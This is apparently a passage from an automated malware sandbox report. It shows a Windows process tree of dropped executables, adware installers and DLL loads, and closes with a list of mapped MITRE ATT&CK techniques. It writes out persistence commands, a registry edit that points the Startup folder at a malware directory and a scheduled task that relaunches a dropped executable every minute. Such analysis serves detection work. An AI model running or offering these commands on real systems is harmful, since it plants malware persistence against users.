        C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        8⤵
        
        PID:2992
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\WINsoft\43523.bat" "
        9⤵
        
        PID:4088
        
        C:\Users\Admin\AppData\Roaming\WINsoft\HWI.exe
        
        HWI.exe
        10⤵
        
        PID:6092
        
        C:\Users\Admin\AppData\Roaming\WINsoft\HWI.exe
        
        HWI.exe
        11⤵
        
        PID:4968
        
        C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe
        
        "C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe"
        12⤵
        
        PID:6688
        
        C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe
        
        "C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe"
        13⤵
        
        PID:6836
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\e0171c4c73\
        14⤵
        
        PID:5432
        
        C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" /f /v Startup /t REG_SZ /d C:\Users\Admin\AppData\Local\Temp\e0171c4c73\
        15⤵
        
        PID:6560
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN sqtvvs.exe /TR "C:\Users\Admin\AppData\Local\Temp\e0171c4c73\sqtvvs.exe" /F
        14⤵
        Creates scheduled task(s)
        
        PID:2428
        
        C:\Users\Admin\AppData\Roaming\WINsoft\FoxyIDM62s.exe
        
        FoxyIDM62s.exe
        10⤵
        
        PID:4880
        
        C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp" -d "C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\"
        11⤵
        
        PID:1996
        
        C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
        7⤵
        Executes dropped EXE
        
        PID:3796
        
        C:\Users\Admin\AppData\Local\Temp\is-2SAOF.tmp\setup_2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-2SAOF.tmp\setup_2.tmp" /SL5="$10322,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
        8⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3252
        
        C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
        9⤵
        Executes dropped EXE
        
        PID:5800
        
        C:\Users\Admin\AppData\Local\Temp\is-BLE5B.tmp\setup_2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-BLE5B.tmp\setup_2.tmp" /SL5="$302EA,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe" /SILENT
        10⤵
        
        PID:4272
        
        C:\Users\Admin\AppData\Local\Temp\is-FUBND.tmp\postback.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-FUBND.tmp\postback.exe" ss1
        11⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:4056
        
        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe"
        7⤵
        
        PID:3200
        
        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe" -a
        8⤵
        Executes dropped EXE
        
        PID:4408
        
        C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
        
        "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
        7⤵
        Executes dropped EXE
        
        PID:4244
        
        C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:496

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 4920 -ip 4920
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5428

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 4700 -ip 4700
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5420

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 500 -p 4620 -ip 4620
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5412

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 3544 -ip 3544
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5436

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 5004 -ip 5004
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5704

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:6032
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  - Loads dropped DLL
  PID:6056

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 6056 -ip 6056
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4248

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 2160 -ip 2160
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2908

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 3972 -ip 3972
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4440

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 496 -p 2120 -ip 2120
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3076

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
1⤵
PID:5816

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1332

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 1488 -ip 1488
1⤵
PID:5308

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:5132
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  - Executes dropped EXE
  PID:3864
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 3864 -s 452
    3⤵
    - Program crash
    PID:3556

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 3864 -ip 3864
1⤵
PID:5804

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3564

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 452 -p 2296 -ip 2296
1⤵
PID:6500

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 184 -p 6096 -ip 6096
1⤵
PID:6528

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 564 -p 2900 -ip 2900
1⤵
PID:6616

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 4436 -ip 4436
1⤵
PID:3736

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 1428 -ip 1428
1⤵
PID:652

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 2904 -ip 2904
1⤵
PID:6992

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
- Executes dropped EXE
PID:2992

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 648 -p 5680 -ip 5680
1⤵
PID:400

C:\Windows\system32\rUNdlL32.eXe
rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
1⤵
- Process spawned unexpected child process
PID:6804
- C:\Windows\SysWOW64\rundll32.exe
  rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
  2⤵
  PID:5184
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 5184 -s 456
    3⤵
    - Program crash
    PID:3408

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 5184 -ip 5184
1⤵
PID:4664

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:7076
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 77A7923BDBAF806B40905D2E55F58CB5 C
  2⤵
  PID:2284
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 81CB6A70F8D613E9CD2DC5EBDB3665CB
  2⤵
  PID:3816
- - C:\Windows\SysWOW64\taskkill.exe
    "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
    3⤵
    - Kills process with taskkill
    PID:1096
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding E42646D46B42E8279ED6218DA7FAE939 E Global\MSI0000
  2⤵
  PID:1720
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 97DD4234ADF4F29C36A92FF6B26BE0F5 C
  2⤵
  PID:1648
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 24E7D37AB9C90285CD8EDE8014BB32DD
  2⤵
  PID:4972
- C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe
  "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe"
  2⤵
  PID:3836
- - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\RequiredApplication_1\Cleaner_Installation.exe
    "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\RequiredApplication_1\Cleaner_Installation.exe" -silent=1 -CID=717 -SID=717 -submn=default
    3⤵
    PID:6120
  - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
      "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" "--anbfs"
      4⤵
      PID:5004
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Cleaner\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Cleaner\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Cleaner\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Cleaner\User Data" --annotation=plat=Win64 --annotation=prod=Cleaner --annotation=ver=0.0.13 --initial-client-data=0x204,0x208,0x20c,0x1e8,0x210,0x7ff9f393dec0,0x7ff9f393ded0,0x7ff9f393dee0
        5⤵
        
        PID:5556
      - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Cleaner\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Cleaner\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Cleaner --annotation=ver=0.0.13 --initial-client-data=0x13c,0x140,0x144,0xec,0x148,0x7ff67ead9e70,0x7ff67ead9e80,0x7ff67ead9e90
        6⤵
        
        PID:1300
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=gpu-process --field-trial-handle=1592,17432767957866945204,3446622325102337167,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5004_196962276" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1616 /prefetch:2
        5⤵
        
        PID:6612
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1592,17432767957866945204,3446622325102337167,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5004_196962276" --mojo-platform-channel-handle=1744 /prefetch:8
        5⤵
        
        PID:6172
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1592,17432767957866945204,3446622325102337167,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5004_196962276" --mojo-platform-channel-handle=2212 /prefetch:8
        5⤵
        
        PID:6616
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Cleaner\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1592,17432767957866945204,3446622325102337167,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5004_196962276" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2644 /prefetch:1
        5⤵
        
        PID:1724
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Cleaner\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1592,17432767957866945204,3446622325102337167,131072 --disable-gpu-compositing --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5004_196962276" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2604 /prefetch:1
        5⤵
        
        PID:6100
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1592,17432767957866945204,3446622325102337167,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5004_196962276" --mojo-platform-channel-handle=2984 /prefetch:8
        5⤵
        
        PID:204
    - - C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe
        
        "C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=gpu-process --field-trial-handle=1592,17432767957866945204,3446622325102337167,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw5004_196962276" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3060 /prefetch:2
        5⤵
        
        PID:4292
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoLogo -ExecutionPolicy AllSigned -Command "C:\Users\Admin\AppData\Local\Temp\AI_497B.ps1 -paths 'C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\file_deleter.ps1','C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe','C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites' -retry_count 10"
    3⤵
    PID:4972

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 3280 -ip 3280
1⤵
PID:6548

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 5512 -ip 5512
1⤵
PID:5464

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:6368
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:6352
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 6352 -s 452
    3⤵
    - Program crash
    PID:4356

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 6352 -ip 6352
1⤵
PID:4052

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 180 -p 5524 -ip 5524
1⤵
PID:6628

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall
1⤵
PID:6556
- C:\Windows\system32\DrvInst.exe
  DrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{42d38caf-2a2f-4749-a24e-4326a3ec5361}\oemvista.inf" "9" "4d14a44ff" "0000000000000144" "WinSta0\Default" "0000000000000158" "208" "c:\program files (x86)\maskvpn\driver\win764"
  2⤵
  PID:2892
- C:\Windows\system32\DrvInst.exe
  DrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oem2.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "000000000000015C" "56c9"
  2⤵
  PID:3196

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s NetSetupSvc
1⤵
PID:1800

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s DsmSvc
1⤵
PID:4332

C:\Program Files (x86)\MaskVPN\mask_svc.exe
"C:\Program Files (x86)\MaskVPN\mask_svc.exe"
1⤵
PID:672
- C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exe
  MaskVPNUpdate.exe /silent
  2⤵
  PID:5524

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 5192 -ip 5192
1⤵
PID:6776

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 4200 -ip 4200
1⤵
PID:2988

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 4200 -ip 4200
1⤵
PID:652

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 416 -ip 416
1⤵
PID:6832

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 5716 -ip 5716
1⤵
PID:7032

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 5820 -ip 5820
1⤵
PID:2668

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 612 -p 6508 -ip 6508
1⤵
PID:2288

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 5400 -ip 5400
1⤵
PID:4236

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 7148 -ip 7148
1⤵
PID:2024

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 4812 -ip 4812
1⤵
PID:6892

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:1364
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:6752
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 6752 -s 456
    3⤵
    - Program crash
    PID:7096

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 6752 -ip 6752
1⤵
PID:7088

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 6248 -ip 6248
1⤵
PID:3544

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 640 -p 3548 -ip 3548
1⤵
PID:2376

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 656 -p 1568 -ip 1568
1⤵
PID:5792

C:\Users\Admin\AppData\Local\Temp\5910.exe
C:\Users\Admin\AppData\Local\Temp\5910.exe
1⤵
PID:5700
- C:\Users\Admin\AppData\Local\Temp\5910.exe
  C:\Users\Admin\AppData\Local\Temp\5910.exe
  2⤵
  PID:2216

C:\Users\Admin\AppData\Local\Temp\8580.exe
C:\Users\Admin\AppData\Local\Temp\8580.exe
1⤵
PID:5628
- C:\Users\Admin\AppData\Local\Temp\8580.exe
  C:\Users\Admin\AppData\Local\Temp\8580.exe
  2⤵
  PID:4816
- C:\Users\Admin\AppData\Local\Temp\8580.exe
  C:\Users\Admin\AppData\Local\Temp\8580.exe
  2⤵
  PID:3940

C:\Users\Admin\AppData\Local\Temp\9ADE.exe
C:\Users\Admin\AppData\Local\Temp\9ADE.exe
1⤵
PID:6932
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 6932 -s 244
  2⤵
  - Program crash
  PID:2292

C:\Users\Admin\AppData\Local\Temp\AC44.exe
C:\Users\Admin\AppData\Local\Temp\AC44.exe
1⤵
PID:2180
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2180 -s 292
  2⤵
  - Program crash
  PID:1656

C:\Users\Admin\AppData\Local\Temp\CD0C.exe
C:\Users\Admin\AppData\Local\Temp\CD0C.exe
1⤵
PID:6336

C:\Users\Admin\AppData\Local\Temp\DE82.exe
C:\Users\Admin\AppData\Local\Temp\DE82.exe
1⤵
PID:6936
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 6936 -s 312
  2⤵
  - Program crash
  PID:2352

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 6932 -ip 6932
1⤵
PID:2536

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 544 -p 6804 -ip 6804
1⤵
PID:4312

C:\Users\Admin\AppData\Local\Temp\331.exe
C:\Users\Admin\AppData\Local\Temp\331.exe
1⤵
PID:2672

C:\Users\Admin\AppData\Local\Temp\C89.exe
C:\Users\Admin\AppData\Local\Temp\C89.exe
1⤵
PID:2012
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 2012 -s 296
  2⤵
  - Program crash
  PID:5608

C:\Users\Admin\AppData\Local\Temp\15F0.exe
C:\Users\Admin\AppData\Local\Temp\15F0.exe
1⤵
PID:3028
- C:\Users\Admin\AppData\Local\Temp\15F0.exe
  C:\Users\Admin\AppData\Local\Temp\15F0.exe
  2⤵
  PID:6156

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 704 -p 2180 -ip 2180
1⤵
PID:5852

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6936 -ip 6936
1⤵
PID:4100

C:\Users\Admin\AppData\Local\Temp\3521.exe
C:\Users\Admin\AppData\Local\Temp\3521.exe
1⤵
PID:6132

C:\Users\Admin\AppData\Local\Temp\4ACD.exe
C:\Users\Admin\AppData\Local\Temp\4ACD.exe
1⤵
PID:5480
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 5480 -s 240
  2⤵
  - Program crash
  PID:1156

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 2012 -ip 2012
1⤵
PID:6468

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 7092 -ip 7092
1⤵
PID:6712

C:\Users\Admin\AppData\Local\Temp\7B93.exe
C:\Users\Admin\AppData\Local\Temp\7B93.exe
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5308

C:\Users\Admin\AppData\Local\Temp\88E2.exe
C:\Users\Admin\AppData\Local\Temp\88E2.exe
1⤵
PID:4052
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4052 -s 240
  2⤵
  - Program crash
  PID:6880

C:\Users\Admin\AppData\Local\Temp\8EFD.exe
C:\Users\Admin\AppData\Local\Temp\8EFD.exe
1⤵
PID:4816

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 716 -p 5480 -ip 5480
1⤵
PID:7088

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 724 -p 4052 -ip 4052
1⤵
PID:5256

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 4816 -ip 4816
1⤵
PID:1800

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Discovery

Query Registry

Remote System Discovery

T1018

System Information Discovery